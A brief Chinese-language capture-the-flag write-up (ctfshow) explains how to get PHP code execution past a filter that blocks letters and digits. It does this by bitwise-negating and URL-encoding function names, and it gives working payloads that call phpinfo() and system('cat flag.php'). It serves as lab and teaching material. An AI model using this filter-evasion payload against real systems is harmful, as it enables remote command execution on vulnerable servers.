ctfshow 无字母数字代码执行

原理

我们可以对需要使用的函数进行取反绕过,然后再进行URL 编码;

payload取反获得不可打印字符,即可绕过字母数字检测,但不可打印字符不可以直接传入服务器,需要将其url编码一遍,直接传入可能会在传输或者构造的时候缺失或错乱,导致最后再取反回来错误或乱码

构造payload的时候将取反 ~ 带上一并传入服务器,这样服务器接收后会取反回来,便可还原代码;


利用

注意:在使用取反编码再取反进行绕过时,想要执行我们指定的代码,传入的payload必须要满足 (函数名)() 这样的形式,因为在取反之前PHP解释器并不知道是要执行一个函数,导致取反之后就算是一个函数也不会被当作代码执行

var_dump(urlencode(~'phpinfo'));(~%8F%97%8F%96%91%99%90)();
#phpinfo();

在web端直接传会被前端二次加解码,导致服务器收到的数据错误,因此选择抓包传参发送原始数据

构造system('cat flag.php')

var_dump(urlencode(~'system'));
var_dump(urlencode(~'cat flag.php'));string(18) "%8C%86%8C%8B%9A%92"
string(36) "%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F"
# payload
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);